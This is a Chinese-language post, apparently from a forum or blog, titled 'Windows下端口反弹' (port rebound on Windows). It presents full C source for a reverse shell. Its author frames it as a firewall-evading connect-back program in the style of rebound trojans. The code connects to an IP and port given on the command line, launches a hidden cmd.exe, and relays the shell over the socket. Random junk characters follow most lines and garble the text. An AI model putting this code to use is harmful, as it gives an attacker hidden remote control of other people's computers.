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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 @LHtt/&  
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/* ============================== x57'Cg \  
Rebound port in Windows NT -sx-7LKi  
By wind,2006/7 VlV)$z_  
===============================*/ excrXx  
#include tPzM7 n|  
#include bCt_y R  
w0$R`MOR+  
#pragma comment(lib,"wsock32.lib") W'd/dKU x  
#B\B(y  
void OutputShell(); -P*xyI  
SOCKET sClient; -D;lS 6  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; %p}qO^%M  
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void main(int argc,char **argv) /Q]:Uf.J  
{ GP Ix@k  
WSADATA stWsaData; tgK x4  
int nRet; .oEFX8  
SOCKADDR_IN stSaiClient,stSaiServer; EuLXtq  
=s6E/K  
if(argc != 3) 8 `o{b"l+  
{ v=j>^F Z  
printf("Useage:\n\rRebound DestIP DestPort\n"); |O%:P}6c  
return; ujow?$&  
} )2#vhMpdN  
.r(^h/IF  
WSAStartup(MAKEWORD(2,2),&stWsaData); h1E PaL  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); M,ppCHy/$  
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stSaiClient.sin_family = AF_INET; l~CZW*/  
stSaiClient.sin_port = htons(0); I>d I[U  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Wf_CR(  
xa' nJ"f;  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ~.iA`${y%  
{ xp~YIeSg  
printf("Bind Socket Failed!\n"); 8IpxOA#jQ  
return; HKM~BL "X  
} M9h<}mh\  
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stSaiServer.sin_family = AF_INET; (K<Z=a  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Tln9q0"W  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); n#)PvV~  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR)  7N!tp,?  
{ vuAQm}A4'g  
printf("Connect Error!"); 0T1HQ  
return; jC#`PA3m=  
} { ( _B  
OutputShell(); H\ {E%7^h-  
} o?;F.W_  
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void OutputShell() ?rky6  
{ oo;;y,`8py  
char szBuff[1024]; IkiQ Ok  
SECURITY_ATTRIBUTES stSecurityAttributes; c6f|y_ 2  
OSVERSIONINFO stOsversionInfo; @< wYT$  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; |)m*EME  
STARTUPINFO stStartupInfo; #,7eQaica  
char *szShell; n9N#&Q"7m  
PROCESS_INFORMATION stProcessInformation; $+A%ODv  
unsigned long lBytesRead; 'y'T'2N3  
=U=e?AOG2  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); &b 5T&-C<  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); dK[*  
stSecurityAttributes.lpSecurityDescriptor = 0; _{[k[]  
stSecurityAttributes.bInheritHandle = TRUE; s*aH`M7^0  
+Gk! t]dy  
'2 w XV;`  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ,Le&I9*%  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Y;'VosTD  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); (Nm}3p  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t|go5DXz4  
stStartupInfo.wShowWindow = SW_HIDE; AD~~e% s=  
stStartupInfo.hStdInput = hReadPipe; 8f /T!5  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; a v'd%LZP  
[`y:M&@  
GetVersionEx(&stOsversionInfo); C}n[?R  
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switch(stOsversionInfo.dwPlatformId) TS\9<L9S  
{ Uc_'3|e  
case 1: sI^@A=.@  
szShell = "command.com"; $,8CH)w  
break; Y1#-^,qg  
default: c-[Q,c  
szShell = "cmd.exe"; UOn!Y@  
break; 7(yXsVq  
} }f<fgY  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); +vSCR (n  
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send(sClient,szMsg,77,0); JZs|~@  
while(1) ,k4z;  
{ >2]Eaw&W  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); * i=?0M4S  
if(lBytesRead) w{_e"N  
{ 04I6 -}6  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Y&oP>n! ei  
send(sClient,szBuff,lBytesRead,0); ):/<H  
} y_}K?  
else ~C}(\8g  
{ }2-[Ki yv  
lBytesRead=recv(sClient,szBuff,1024,0); z*Myokhf  
if(lBytesRead<=0) break; 9\AEyaJFZ  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 7$g*N6)Q  
} ^U-vD[O8  
} C1ZFA![  
Sf+(1_^`t  
return; zF[3%qZE:T  
}
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